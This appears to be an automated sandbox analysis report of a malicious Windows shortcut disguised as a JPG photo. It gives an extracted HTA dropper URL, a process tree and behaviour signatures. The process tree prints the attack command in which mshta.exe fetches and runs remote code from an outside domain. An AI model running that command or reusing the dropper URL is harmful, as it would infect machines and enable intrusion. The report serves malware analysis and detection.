Analysis

  • max time kernel
    236s
  • max time network
    721s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220310-en
  • submitted
    22-03-2022 12:37

General

  • Target

    samples/IMG_20210603_122331.jpg.lnk

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://inapharma.in/css/files/photos/Sunakshi/IMG_20210603_122331

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\samples\IMG_20210603_122331.jpg.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4904
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://inapharma.in/css/files/photos/Sunakshi/IMG_20210603_122331
      2⤵
      • Blocklisted process makes network request
      • Modifies system certificate store
      PID:4416
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
    1⤵
    • Modifies data under HKEY_USERS
    PID:3600

Network

MITRE ATT&CK Enterprise v6

Replay Monitor

Loading Replay Monitor...

Downloads

  • memory/3600-137-0x0000027A8ED70000-0x0000027A8ED80000-memory.dmp

    Filesize

    64KB

  • memory/3600-138-0x0000027A8EFA0000-0x0000027A8EFB0000-memory.dmp

    Filesize

    64KB

  • memory/3600-139-0x0000027A8F190000-0x0000027A8F194000-memory.dmp

    Filesize

    16KB

  • memory/3600-140-0x0000027A91640000-0x0000027A91644000-memory.dmp

    Filesize

    16KB

  • memory/3600-141-0x0000027A91620000-0x0000027A91621000-memory.dmp

    Filesize

    4KB

  • memory/3600-142-0x0000027A8F1C0000-0x0000027A8F1C4000-memory.dmp

    Filesize

    16KB

  • memory/3600-143-0x0000027A8F1B0000-0x0000027A8F1B1000-memory.dmp

    Filesize

    4KB

  • memory/3600-144-0x0000027A8F1B0000-0x0000027A8F1B4000-memory.dmp

    Filesize

    16KB

  • memory/3600-145-0x0000027A8F0B0000-0x0000027A8F0B1000-memory.dmp

    Filesize

    4KB

  • memory/4416-135-0x00007FFA34E10000-0x00007FFA358D1000-memory.dmp

    Filesize

    10.8MB

  • memory/4416-136-0x000001E8C03C6000-0x000001E8C03C7000-memory.dmp

    Filesize

    4KB